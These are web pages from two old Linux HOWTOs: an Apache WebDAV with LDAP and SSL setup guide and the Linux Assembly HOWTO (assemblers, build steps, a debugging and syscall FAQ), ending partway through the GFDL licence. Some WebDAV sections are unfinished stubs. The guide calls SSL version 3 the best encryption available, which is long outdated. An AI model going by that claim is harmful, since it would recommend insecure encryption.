This document is Copyright 2001 by Saqib Ali. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is available at http://www.gnu.org/copyleft/fdl.html

1.2. What is WebDAV?

WebDAV stands for Web enabled Distributed Authoring and Versioning. It provides a collaborative environment for users to edit/manage files on web-servers. Technically DAV is an extension to the http protocol.

Here is a brief description of the extensions provided by DAV:

Overwrite Protection:

Properties:

Name-space management:

1.3. What is mod_dav?

Please read http://www.webdav.org/mod_dav/faq/

1.4. Why use WebDAV?

Using WebDAV technology people throughout the world can be working on the same document. With the locking mechanism that DAV provides, the person who is editing the resource will lock it for editing. Others can read it but not modify it. When the person who is editing the document, is done editing, he/she will release the lock, and then others can modify the documents as well.

Authentication to gain access to resources is available in HTTP. This HOWTO discusses using LDAP for authentication. Permissions using groups and users in LDAP directory can be setup to control read/write access to various resources(documents) on the WebDAV server, so that you dont need to share passwords to work on the same documents

If you are worried about people trying to sniff your traffic, and gain access to confidential data, then worry not - you can always use HTTP with SSL ver3. This is the best encryption available. This documents details on how to implement WebDAV server which uses SSL encryption for transferring data.

1.5. How does WebDAV work?

text goes here...

1.6. What do we need?

The tools needed to achieve this objective are:

  • Apache Web Server

  • LDAP Module for Apache

  • WebDAV Module for Apache

  • LDAP lib file

NOTE: All of these packages are free and are available for download on the net.

We will compile all the above mentioned packages to produce binaries for the Web Server. The WebDAV and LDAP module will be compiled statically into Apache. Static compilation results in faster execution times. Apache was chosen, because it is the most versatile web server ever to exist. Market Shares for Top Web Servers shows that Apache has the largest web server market share.

Apache is also being used by:

  • RackSpace - WebHosting provider

  • CIHost - WebHosting provider

  • SlashDot

1.7. Assumptions

This document assumes that you have the following already installed on your system.

  1. gzip or gunzip - available from http://www.gnu.org

  2. gcc and GNU make - available from http://www.gnu.org

The document also assumes there is a LDAP server installed elsewhere which will be used for the authentication.

1.8. Opinions and Suggestions

If you have any questions about the information available on this document, please contact me on the following email address: saqib@seagate.com

If you have comments and/or suggestions, please let me know as well!

Prev | Home | Next
Apache based WebDAV with LDAP and SSL HOWTO |  | Installing WebDAV services


Implementing and using SSL to secure WebDAV traffic

Apache based WebDAV with LDAP and SSL HOWTO
Prev

4. Implementing and using SSL to secure WebDAV traffic

Security of the data stored on a file server is very important these days. Compromised data can cost thousands of dollars to company. In the last section, we compiled LDAP authentication module into the Apache build to provide a Authentication mechanism. However HTTP traffic is very insecure, and all data is transferred in clear text - meaning, the LDAP authentication (userid/passwd) will be transmitted as clear text as well. This create a problem. Anyone can sniff these userid/passwd and gain access to DAV store. To prevent this we have to encrypt HTTP traffic, essentially HTTP + SSL or HTTPS. Anything transferred over HTTPS is encrypted, so the LDAP userid/passwd can not be sniffed. HTTPS runs on port 443. The resulting build from the last section's compilation process will have Apache to listen to both port 80 (normal HTTP) and 443 (HTTPS). If you are just going to use this server for DAV, then I will highly suggest that you close port 80. In this section of the HOWTO I will provide some information regarding SSL and maintaining SSL on a WebDAV server. However this is a not limited to a DAV server, it can be used on any web server.

There are many administration tasks related with implementing and maintaining SSL encryption for a Web Site. You can either use commercial certicates, or generate your own. In the following sections we will briefly go over a few simple things that are required to get the SSL website up and running, and maintain it. This tutorial is by no means a full in-depth overview of the SSL.

4.1. Introduction to SSL

SSL (Secure Socket Layer) is a protocol layer that exists between the Network Layer and Application layer. As the name suggest SSL provides a mechanism for encrypting all kinds of traffic - LDAP, POP, IMAP and most importantly HTTP.

This HOWTO discusses about the HTTP over SSL or simply HTTPS. For more information about POP/IMAP/LDAP over SSL, please visit http://www.stunnel.org. Or if you are looking for a commerical products look into IPlanet for LDAP and Netscape for IMAP and POP.

4.1.1. Quick and Dirty on Encryption algorithms used in SSL

There are 2 kinds of encryption algorithms used in SSL.

Public-Private Key Crytography - Initiating SSL connection: This algorithm is used for initiating the SSL session. In this algorithm, the encryption must be performed using the Public Key, and the decryption can only be performed using the Private Key. The Web-server holds the private Key, and sends the Public key to the client. The public key is sent to the client in a certificate.

  1. The client request content from the Web Server using HTTPS.

  2. The web server responds with a Certificate which includes the server's public key.

  3. The client check to see if the certificate has expired.

  4. Then the client checks if the Certificate Authority that signed the certificate, is a trusted authority listed in the browser. This explains why we need to get a certificate from a a trusted CA.

  5. The client then checks to see if the Domain Name of the web server matches the Comman Name (CN) on the certificate?

  6. If everything is successful the SSL connection is initiated.

Symmetric Cryptography - Actuall transmission of data: After the SSL connection has been established, Symmetric cryptography is used to encrypting data. Public-Private Key cryptography is CPU cycle intensive, so Symmetric cryptography is used. In symmetric cryptography the data can be encrypted and decrypted using the same key. The Key for symmetric cryptography was exchange in the initiation process.

4.2. Homegrown Certificates

The certicate that we created while installing Apache, is what I call a Homegrown Certificate. We used the makefile provided by mod_ssl to create this custom Certificate. We used the command:
# make certificate TYPE=custom

These homegrown Certificates are usually used for testing purposes - to check if the Apache with mod_ssl installation worked.

4.3. Then why do I need a CA?

CA or Certificate Authorities are certificate vendors, who are listed as a Trusted CA in user's browser client. As mentioned in the Encryption Algorithms section, if the CA is not listed as a trusted authority, your user will get a warning message when trying to connect to a secure location.

Similarly the certificates that you created yourself will cause a warning message to appear on the user's browser.

If you are implementing a commercial website, I would highly recommend using a Certification Authority for getting your certificates signed. The warning message usually make the customers go away.

If you are on a "intranet", you can also implement your own CA, but it is a complicated task, and requires a lot of day-to-day management.

4.4. How to create CSR

CSR or Certificate Signing Request must be sent to the trusted CA for signing. This section discusses howto create a CSR, and send it to the CA of your choice. add text here......

4.5. Removing passphrase from the RSA Private Key

RSA Private Key stored on the webserver is usually encrypted, and you need a passphrase to parse the file. That is why you are prompted for a passphrase when start Apache with modssl:

# apachectl startssl
Apache/1.3.23 mod_ssl/2.8.6 (Pass Phrase Dialog)
Some of your private key files are encrypted for security reasons.
In order to read them you have to provide us with the pass phrases.
Server your.server.dom:443 (RSA)
Enter pass phrase:

Encrypting the RSA Private Key is very important. If somebody gets hold of the you "Unencrypted RSA Private Key" he/she can easily impersonate your webserver. If the Key is encrypted, the hacker can not do anything without the passphrase.

However encrypting the Key can sometimes be nuisance, since you will be prompted for a passphrase everytime you start the web-server. Specially if you are using rc scripts to start the webserver at boot time, the prompt for passphrase creates problems.

You can get rid of the passphrase prompt easily by decrypting the Key. However make sure that no one can hold of this Key. I would recommend Hardening and Securing guidelines be followed before decrypting the Key on the webserver.

To decrypt the Key:

First make a copy of the encrypted key

# cp server.key server.key.cryp

Then re-write the key with encryption. You will be prompted for the original encrypted Key passphrase

# /usr/local/ssl/bin/openssl rsa -in server.key.cryp -out server.key
read RSA key
Enter PEM pass phrase:
writing RSA key

One way to secure the decrypted Private Key is to make readable only by the root:
# chmod 400 server.key

4.6. Trusted Certificate Authorities

The following is list of Certificate Authorities that are trusted by the various browsers:

  1. Verisign

  2. Thawte

Prev | Home
Configuring and Setting up the WebDAV services |


Acknowledgements

Linux Assembly HOWTO
Prev Next

Appendix B. Acknowledgements

I would like to thank all the people who have contributed ideas, answers, remarks, and moral support, and additionally the following persons, by order of appearance:

  • Linus Torvalds for Linux

  • Bruce Evans for bcc from which as86 is extracted

  • Simon Tatham and Julian Hall for NASM

  • Greg Hankins and now Tim Bynum for maintaining HOWTOs

  • Raymond Moon for his FAQ

  • Eric Dumas for his translation of the mini-HOWTO into French (sad thing for the original author to be French and write in English)

  • Paul Anderson and Rahim Azizarab for helping me, if not for taking over the HOWTO

  • Marc Lehman for his insight on GCC invocation

  • Abhijit Menon-Sen for helping me figure out the argument passing convention

Prev | Home | Next
History |  | Endorsements


AS86

Linux Assembly HOWTO
Prev Chapter 3. Assemblers Next

3.4. AS86

AS86 is a 80x86 assembler, both 16-bit and 32-bit, with integrated macro support. It has mostly Intel-syntax, though it differs slightly as for addressing modes.

3.4.1. Where to get AS86

Current version is 0.16, it can be found at http://www.cix.co.uk/~mayday/, in bin86 package with linker (ld86), or as separate archive.

Note

A completely outdated version 0.4 of AS86 is distributed by HJLu just to compile the Linux kernel versions prior to 2.4, in a package named bin86, available in any Linux GCC repository. But I advise no one to use it for anything else but compiling Linux. This version supports only a hacked minix object file format, which is not supported by the GNU binutils or anything, and it has a few bugs in 32-bit mode, so you really should better keep it only for compiling Linux.

3.4.2. Where to find docs

See the man page and as.doc from the source package. When in doubt, the sources themselves are often a good docs: they aren't very well commented, but the programming style is straightforward. You might try to see how as86 is used in ELKS, LILO, or Tunes 0.0.0.25...

3.4.3. Using AS86 with BCC

Here's the GNU Makefile entry for using BCC to transform .s asm into both a.out .o object and .l listing:

%.o %.l:	%.s
    bcc -3 -G -c -A-d -A-l -A$*.l -o $*.o $<

Remove the %.l, -A-l, and -A$*.l, if you don't want any listing. If you want something else than a.out, you can examine BCC docs about the other supported formats, and/or use the objcopy utility from the GNU binutils package.

Prev | Home | Next
NASM | Up | Other Assemblers


Assemblers

Linux Assembly HOWTO
Prev Next

Chapter 3. Assemblers

Table of Contents
3.1. GCC Inline Assembly
3.1.1. Where to find GCC
3.1.2. Where to find docs for GCC Inline Asm
3.1.3. Invoking GCC to build proper inline assembly code
3.1.4. Macro support
3.2. GAS
3.2.1. Where to find it
3.2.2. What is this AT&T syntax
3.2.3. Intel syntax
3.2.4. 16-bit mode
3.2.5. Macro support
3.3. NASM
3.3.1. Where to find NASM
3.3.2. What it does
3.4. AS86
3.4.1. Where to get AS86
3.4.2. Where to find docs
3.4.3. Using AS86 with BCC
3.5. Other Assemblers
3.5.1. YASM
3.5.2. OSIMPA (SHASM)
3.5.3. TDASM
3.5.4. Free Pascal
3.5.5. Win32Forth assembler
3.5.6. Terse
3.5.7. HLA
3.5.8. TALC
3.5.9. Non-free and/or Non-32bit x86 assemblers
Prev | Home | Next
Linux and assembly |  | GCC Inline Assembly


Building an executable

Linux Assembly HOWTO
Prev Chapter 6. Quick start Next

6.3. Building an executable

6.3.1. Producing object code

First step of building an executable is compiling (or assembling) object file from the source:

For nasm example:

$ nasm -f elf hello.asm

For gas example:

$ as -o hello.o hello.S

This makes hello.o object file.

6.3.2. Producing executable

Second step is producing executable file itself from the object file by invoking linker:

$ ld -s -o hello hello.o

This will finally build hello executable.

Hey, try to run it... Works? That's it. Pretty simple.

Prev | Home | Next
Hello, world! | Up | Resources


Calling conventions

Linux Assembly HOWTO
Prev Next

Chapter 5. Calling conventions

Table of Contents
5.1. Linux
5.1.1. Linking to GCC
5.1.2. ELF vs a.out problems
5.1.3. Direct Linux syscalls
5.1.4. Hardware I/O under Linux
5.1.5. Accessing 16-bit drivers from Linux/i386
5.2. DOS and Windows
5.3. Your own OS
Prev | Home | Next
Metaprogramming |  | Linux


DOS and Windows

Linux Assembly HOWTO
Prev Chapter 5. Calling conventions Next

5.2. DOS and Windows

Most DOS extenders come with some interface to DOS services. Read their docs about that, but often, they just simulate int 0x21 and such, so you do "as if" you are in real mode (I doubt they have more than stubs and extend things to work with 32-bit operands; they most likely will just reflect the interrupt into the real-mode or vm86 handler).

Docs about DPMI (and much more) can be found on ftp://x2ftp.oulu.fi/pub/msdos/programming/ (again, the original x2ftp site is closing (no more?), so use a mirror site).

DJGPP comes with its own (limited) glibc derivative/subset/replacement, too.

It is possible to cross-compile from Linux to DOS, see the devel/msdos/ directory of your local FTP mirror for metalab.unc.edu; Also see the MOSS DOS-extender from the Flux project from the university of Utah.

Other documents and FAQs are more DOS-centered; we do not recommend DOS development.

Windows and Co. This document is not about Windows programming, you can find lots of documents about it everywhere.. The thing you should know is that Cygnus Solutions developed the cygwin32.dll library, for GNU programs to run on Win32 platform; thus, you can use GCC, GAS, all the GNU tools, and many other Unix applications.

Prev | Home | Next
Linux | Up | Your own OS


Do you need assembly?

Linux Assembly HOWTO
Prev Next

Chapter 2. Do you need assembly?

Table of Contents
2.1. Pros and Cons
2.1.1. The advantages of Assembly
2.1.2. The disadvantages of Assembly
2.1.3. Assessment
2.2. How to NOT use Assembly
2.2.1. General procedure to achieve efficient code
2.2.2. Languages with optimizing compilers
2.2.3. General procedure to speed your code up
2.2.4. Inspecting compiler-generated code
2.3. Linux and assembly

Well, I wouldn't want to interfere with what you're doing, but here is some advice from the hard-earned experience.

Prev | Home | Next
Introduction |  | Pros and Cons


Endorsements

Linux Assembly HOWTO
Prev Next

Appendix C. Endorsements

This version of the document is endorsed by Konstantin Boldyshev.

Modifications (including translations) must remove this appendix according to the license agreement.

$Id: Assembly-HOWTO.sgml,v 1.26 2002/01/12 10:11:15 konst Exp $

Prev | Home | Next
Acknowledgements |  | GNU Free Documentation License


External filters

Linux Assembly HOWTO
Prev Chapter 4. Metaprogramming Next

4.1. External filters

Whatever is the macro support from your assembler, or whatever language you use (even C!), if the language is not expressive enough to you, you can have files passed through an external filter with a Makefile rule like that:

%.s:    %.S other_dependencies
        $(FILTER) $(FILTER_OPTIONS) < $< > $@

4.1.1. CPP

CPP is truly not very expressive, but it's enough for easy things, it's standard, and called transparently by GCC.

As an example of its limitations, you can't declare objects so that destructors are automatically called at the end of the declaring block; you don't have diversions or scoping, etc.

CPP comes with any C compiler. However, considering how mediocre it is, stay away from it if by chance you can make it without C.

4.1.2. M4

M4 gives you the full power of macroprocessing, with a Turing equivalent language, recursion, regular expressions, etc. You can do with it everything that CPP cannot.

See macro4th (this4th) or the Tunes 0.0.0.25 sources as examples of advanced macroprogramming using m4.

However, its disfunctional quoting and unquoting semantics force you to use explicit continuation-passing tail-recursive macro style if you want to do advanced macro programming (which is remindful of TeX -- BTW, has anyone tried to use TeX as a macroprocessor for anything else than typesetting ?). This is NOT worse than CPP that does not allow quoting and recursion anyway.

The right version of M4 to get is GNU m4 1.4 (or later if exists), which has the most features and the least bugs or limitations of all. m4 is designed to be slow for anything but the simplest uses, which might still be ok for most assembly programming (you are not writing million-lines assembly programs, are you?).

4.1.3. Macroprocessing with your own filter

You can write your own simple macro-expansion filter with the usual tools: perl, awk, sed, etc. It can be made rather quickly, and you control everything. But, of course, power in macroprocessing implies "the hard way".

Prev | Home | Next
Metaprogramming | Up | Metaprogramming


Frequently Asked Questions

Linux Assembly HOWTO
Prev Next

Chapter 8. Frequently Asked Questions

Here are frequently asked questions (with answers) about Linux assembly programming. Some of the questions (and the answers) were taken from the the linux-assembly mailing list.

8.1. How do I do graphics programming in Linux?
8.2. How do I debug pure assembly code under Linux?
8.3. Any other useful debugging tools?
8.4. How do I access BIOS functions from Linux (BSD, BeOS, etc)?
8.5. Is it possible to write kernel modules in assembly?
8.6. How do I allocate memory dynamically?
8.7. I can't understand how to use select system call!

8.1. How do I do graphics programming in Linux?

An answer from Paul Furber:

Ok you have a number of options to graphics in Linux. Which one you use
depends on what you want to do. There isn't one Web site with all the
information but here are some tips:

SVGALib: This is a C library for console SVGA access.
Pros: very easy to learn, good coding examples, not all that different
from equivalent gfx libraries for DOS, all the effects you know from DOS
can be converted with little difficulty.
Cons: programs need superuser rights to run since they write directly to
the hardware, doesn't work with all chipsets, can't run under X-Windows.
Search for svgalib-1.4.x on http://ftp.is.co.za

Framebuffer: do it yourself graphics at SVGA res
Pros: fast, linear mapped video access, ASM can be used if you want :)
Cons: has to be compiled into the kernel, chipset-specific issues, must
switch out of X to run, relies on good knowledge of linux system calls
and kernel, tough to debug
Examples: asmutils (http://www.linuxassembly.org) and the leaves example
and my own site for some framebuffer code and tips in asm
(http://ma.verick.co.za/linux4k/)

Xlib: the application and development libraries for XFree86.
Pros: Complete control over your X application
Cons: Difficult to learn, horrible to work with and requires quite a bit
of knowledge as to how X works at the low level.
Not recommended but if you're really masochistic go for it. All the
include and lib files are probably installed already so you have what
you need.

Low-level APIs: include PTC, SDL, GGI and Clanlib
Pros: very flexible, run under X or the console, generally abstract away
the video hardware a little so you can draw to a linear surface, lots of
good coding examples, can link to other APIs like OpenGL and sound libs,
Windows DirectX versions for free
Cons: Not as fast as doing it yourself, often in development so versions
can (and do) change frequently.
Examples: PTC and GGI have excellent demos, SDL is used in sdlQuake,
Myth II, Civ CTP and Clanlib has been used for games as well.

High-level APIs: OpenGL - any others?
Pros: clean api, tons of functionality and examples, industry standard
so you can learn from SGI demos for example
Cons: hardware acceleration is normally a must, some quirks between
versions and platforms
Examples: loads - check out www.mesa3d.org under the links section.

To get going try looking at the svgalib examples and also install SDL
and get it working. After that, the sky's the limit.

8.2. How do I debug pure assembly code under Linux?

There's an early version of the Assembly Language Debugger, which is designed to work with assembly code, and is portable enough to run on Linux and *BSD. It is already functional and should be the right choice, check it out!

You can also try gdb ;). Although it is source-level debugger, it can be used to debug pure assembly code, and with some trickery you can make gdb to do what you need (unfortunately, nasm '-g' switch does not generate proper debug info for gdb; this is nasm bug, I think). Here's an answer from Dmitry Bakhvalov:

Personally, I use gdb for debugging asmutils. Try this:

1) Use the following stuff to compile:
   $ nasm -f elf -g smth.asm
   $ ld -o smth smth.o

2) Fire up gdb:
   $ gdb smth

3) In gdb:
   (gdb) disassemble _start
   Place a breakpoint at _start+1 (If placed at _start the breakpoint
   wouldnt work, dunno why)
   (gdb) b *0x8048075

   To step thru the code I use the following macro:
   (gdb)define n
   >ni
   >printf "eax=%x ebx=%x ...etc...",$eax,$ebx,...etc...
   >disassemble $pc $pc+15
   >end

   Then start the program with r command and debug with n.

   Hope this helps.

An additional note from ???:

    I have such a macro in my .gdbinit for quite some time now, and it
    for sure makes life easier. A small difference : I use "x /8i $pc",
    which guarantee a fixed number of disassembled instructions. Then,
    with a well chosen size for my xterm, gdb output looks like it is
    refreshed, and not scrolling.

If you want to set breakpoints across your code, you can just use int 3 instruction as breakpoint (instead of entering address manually in gdb).

If you're using gas, you should consult gas and gdb related tutorials.

8.3. Any other useful debugging tools?

Definitely strace can help a lot (ktrace and kdump on FreeBSD), it is used to trace system calls and signals. Read its manual page (man strace) and strace --help output for details.

8.4. How do I access BIOS functions from Linux (BSD, BeOS, etc)?

Short answer is -- noway. This is protected mode, use OS services instead. Again, you can't use int 0x10, int 0x13, etc. Fortunately almost everything can be implemented by means of system calls or library functions. In the worst case you may go through direct port access, or make a kernel patch to implement needed functionality, or use LRMI library to access BIOS functions.

8.5. Is it possible to write kernel modules in assembly?

Yes, indeed it is. While in general it is not a good idea (it hardly will speedup anything), there may be a need of such wizardy. The process of writing a module itself is not that hard -- a module must have some predefined global function, it may also need to call some external functions from the kernel. Examine kernel source code (that can be built as module) for details.

Meanwhile, here's an example of a minimum dumb kernel module (module.asm) (source is based on example by mammon_ from APJ #8):

section .text

    global init_module
    global cleanup_module
    global kernel_version

    extern printk

init_module:
    push	dword str1
    call	printk
    pop	eax
    xor	eax,eax
    ret

cleanup_module:
    push	dword str2
    call	printk
    pop	eax
    ret

str1		db	"init_module done",0xa,0
str2		db	"cleanup_module done",0xa,0

kernel_version	db	"2.2.18",0

The only thing this example does is reporting its actions. Modify kernel_version to match yours, and build module with:

$ nasm -f elf -o module.m module.asm

$ ld -r -o module.o module.m

Now you can play with it using insmod/rmmod/lsmod (root privilidged are required); a lot of fun, huh?

8.6. How do I allocate memory dynamically?

A laconic answer from H-Peter Recktenwald:

    ebx := 0	(in fact, any value below .bss seems to do)
    sys_brk
    eax := current top (of .bss section)

    ebx := [ current top < ebx < (esp - 16K) ]
    sys_brk
    eax := new top of .bss

An extensive answer from Tiago Gasiba:

section	.bss

var1	resb	1

section	.text

;
;allocate memory
;

%define	LIMIT	0x4000000			; about 100Megs

    mov	ebx,0				; get bottom of data segment
    call	sys_brk

    cmp	eax,-1				; ok?
    je	erro1

    add	eax,LIMIT			; allocate +LIMIT memory
    mov	ebx,eax
    call	sys_brk

    cmp	eax,-1				; ok?
    je	erro1

    cmp	eax,var1+1			; has the data segment grown?
    je	erro1

;
;use allocated memory
;
                        ; now eax contains bottom of
                        ; data segment
    mov	ebx,eax				; save bottom
    mov	eax,var1			; eax=beginning of data segment
repeat:
    mov	word	[eax],1			; fill up with 1's
    inc	eax
    cmp	ebx,eax				; current pos = bottom?
    jne	repeat

;
;free memory
;

    mov	ebx,var1			; deallocate memory
    call	sys_brk				; by forcing its beginning=var1

    cmp	eax,-1				; ok?
    je	erro2

8.7. I can't understand how to use select system call!

An answer from Patrick Mochel:

When you call sys_open, you get back a file descriptor, which is simply an
index into a table of all the open file descriptors that your process has.
stdin, stdout, and stderr are always 0, 1, and 2, respectively, because
that is the order in which they are always open for your process from there.
Also, notice that the first file descriptor that you open yourself (w/o first
closing any of those magic three descriptors) is always 3, and they increment
from there.

Understanding the index scheme will explain what select does. When you
call select, you are saying that you are waiting certain file descriptors
to read from, certain ones to write from, and certain ones to watch from
exceptions from. Your process can have up to 1024 file descriptors open,
so an fd_set is just a bit mask describing which file descriptors are valid
for each operation. Make sense?

Since each fd that you have open is just an index, and it only needs to be
on or off for each fd_set, you need only 1024 bits for an fd_set structure.
1024 / 32 = 32 longs needed to represent the structure.

Now, for the loose example.
Suppose you want to read from a file descriptor (w/o timeout).

- Allocate the equivalent to an fd_set.

.data

my_fds: times 32 dd 0

- open the file descriptor that you want to read from.

- set that bit in the fd_set structure.

   First, you need to figure out which of the 32 dwords the bit is in.

   Then, use bts to set the bit in that dword. bts will do a modulo 32
   when setting the bit. That's why you need to first figure out which
   dword to start with.

   mov edx, 0
   mov ebx, 32
   div ebx

   lea ebx, my_fds
   bts ebx[eax * 4], edx

- repeat the last step for any file descriptors you want to read from.

- repeat the entire exercise for either of the other two fd_sets if you want action from them.

That leaves two other parts of the equation - the n paramter and the timeout
parameter. I'll leave the timeout parameter as an exercise for the reader
(yes, I'm lazy), but I'll briefly talk about the n parameter.

It is the value of the largest file descriptor you are selecting from (from
any of the fd_sets), plus one. Why plus one? Well, because it's easy to
determine a mask from that value. Suppose that there is data available on
x file descriptors, but the highest one you care about is (n - 1). Since
an fd_set is just a bitmask, the kernel needs some efficient way for
determining whether to return or not from select. So, it masks off the bits
that you care about, checks if anything is available from the bits that are
still set, and returns if there is (pause as I rummage through kernel source).
Well, it's not as easy as I fantasized it would be. To see how the kernel
determines that mask, look in fs/select.c in the kernel source tree.

Anyway, you need to know that number, and the easiest way to do it is to save
the value of the last file descriptor open somewhere so you don't lose it.

Ok, that's what I know. A warning about the code above (as always) is that
it is not tested. I think it should work, but if it doesn't let me know.
But, if it starts a global nuclear meltdown, don't call me. ;-)

That's all for now, folks.

Prev | Home | Next
Resources |  | History


GNU Free Documentation License

Linux Assembly HOWTO
Prev

Appendix D. GNU Free Documentation License

GNU Free Documentation License
Version 1.1, March 2000

Copyright (C) 2000 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.

0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

3. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

  1. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

  2. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

  3. State on the Title page the name of the publisher of the Modified Version, as the publisher.

  4. Preserve all the copyright notices of the Document.

  5. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

  6. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

  7. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

  8. Include an unaltered copy of this License.

  9. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

  10. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

  11. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

  12. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

  13. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

  14. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.

5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

